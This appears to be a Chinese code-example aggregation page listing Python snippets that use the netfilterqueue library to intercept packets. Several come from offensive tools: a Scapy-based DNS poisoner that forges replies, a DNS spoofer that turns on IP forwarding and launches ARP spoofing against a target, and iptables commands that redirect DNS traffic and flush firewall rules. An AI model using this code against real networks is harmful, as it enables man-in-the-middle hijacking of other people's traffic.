Python netfilterqueue.NetfilterQueue方法代码示例

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def __init__(self, qno, chain, table, callback, iface=None):
        self.logger = logging.getLogger('Diverter')

        # Specifications
        self.qno = qno
        self.chain = chain
        self.table = table
        self._rule = IptCmdTemplateNfq(self.chain, self.qno, self.table, iface)
        self._callback = callback
        self._nfqueue = netfilterqueue.NetfilterQueue()
        self._sk = None
        self._stopflag = False
        self._thread = None

        # State
        self._rule_added = False
        self._bound = False
        self._started = False 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def nfqueueBinder(self):
		self.logger.debug("[ebcLib.py] Binding nfqueue...")
		nfqueue = netfilterqueue.NetfilterQueue()
		nfqueue.bind(self.nfqueueNum, self.nfqueueHandler)
		nfqueue.run()

	# This listens for new requests and handles them
	# TCP - forks them off to their own threads
	# UDP - directly calls the mitmInstance since it's a "stateless" protocol 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def main():
    #print('Starting...')
    os.system('iptables -F')
    os.system('iptables -A INPUT -i ' + iface + ' -j NFQUEUE --queue-num 4')
    q = nfqueue.NetfilterQueue()
    q.bind(4, callback)
    try:
        q.run()
    except KeyboardInterrupt:
        os.system('iptables -F')


# Call main 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def begin(self):
        q = NetfilterQueue()
        q.bind(1, self.callback)
        try:
            q.run() # Main loop
        except KeyboardInterrupt:
            q.unbind()
            os.system('iptables -F')
            os.system('iptables -X') 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def spoof(self):
        try:
            self.q = NetfilterQueue()
            self.q.bind(1, self.callback)
            self.q.run()
        except Exception as e:
            print "[*] Exception caught: {}".format(e) 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def filter(self):
        try:
            self.q = NetfilterQueue()
            self.q.bind(1, self.callback)
            self.q.run()
        except Exception as e:
            print "[!] Exception caught: {}".format(e) 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def start(self):
        set_ip_forwarding(1)
        iptables().NFQUEUE()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(0, self.modify)

        self.nfqueue.run() 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def intercept(self):
        """This method intercepts the packets and send them to a callback
        function."""
        # For Windows Platforms
        if platform.system() == "Windows":
            import pydivert
            w = pydivert.WinDivert()
            w.open()
            print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
            try:
                while True:
                    self.windows_modify(w.recv(), w, pydivert)
            except KeyboardInterrupt:
                w.close()
        # For Linux platforms
        elif platform.system() == "Linux":
            from netfilterqueue import NetfilterQueue
            nfqueue = NetfilterQueue()
            # The iptables rule queue number by default is 1
            nfqueue.bind(1, self.linux_modify)
            try:
                self.set_iptables_rules()
                print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
                nfqueue.run()
            except KeyboardInterrupt:
                self.clean_iptables()
        else:
            print("Sorry. Platform not supported!\n") 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def __init__(self, subdomain, local_ip):
        global monitor_domain, server_ip
        monitor_domain = str(subdomain)
        server_ip = local_ip
        self.enable_dns_forwarding()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(1, packet_handler)
        thread = Thread(target=self.start_monitoring, args=(self,))
        thread.start()

        atexit.register(self.on_shutdown, self)
        print("[+] Started DNS Spoofer thread.") 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def DnsPoisoner(self):
		def callback(packet):
			payload = packet.get_payload()
			pkt = IP(payload)
			if not pkt.haslayer(DNSQR):
				packet.accept()
			else:
				if debug:
					print "[+]DNS Poisoning {} --> {}".format(pkt[DNS].qd.qname, self.hostIP)
	                	new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
        	                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
        	                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
        	                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.hostIP))
        	                packet.set_payload(str(new_pkt))
				packet.accept()

		def DnsThread():
			t = threading.Thread(name='DNSspoof', target=DnsPoison)
			t.setDaemon(True)
			t.start()
		def DnsPoison():
			os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
			q = NetfilterQueue()
			q.bind(1, callback)
			q.run()
		DnsThread()
		#DnsPoison() 

# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def run():
	if importerror == True:
		printError("Netfilterqueue is not imported!")
		print("Traceback:\n"+str(error))
		return

	controller.reset()
	printInfo("Loading host list...")
	try:
		hostfile = open(getpath.conf()+"hosts", "r").read()
	except FileNotFoundError:
		printError("Host list is not found!")
		return
	except PermissionError:
		printError("Permission denied!")
	for line in hostfile.splitlines():
		if "#" not in line and len(line.split()) == 2:
			hostlist.append(line.split())

	for item in hostlist:
		try:
			item[0] = item[0].encode()
		except AttributeError:
			pass
		try:
			item[1] = item[1].encode()
		except AttributeError:
			pass

	if variables["arp_spoof"][0] == "true":
		printInfo("IPv4 forwarding...")
		os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward')
		printInfo("Starting ARP spoof...")
		arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0], controller)
		arpspoof.start()

	printInform("Ctrl-C to stop.")
	os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
	try:
		q = NetfilterQueue()
		q.bind(1, callback)
		try:
			q.run()
		except KeyboardInterrupt:
			controller.kill = True
			q.unbind()
			os.system('iptables -F')
			os.system('iptables -X')
			printInform("DNS spoof stopped.")
	except:
		printError("Unexcepted error:\n")
		traceback.print_exc(file=sys.stdout)
		controller.kill = True

	if variables["arp_spoof"][0] == "true":
		printInfo("Stopping ARP spoof...")
		arpspoof.join()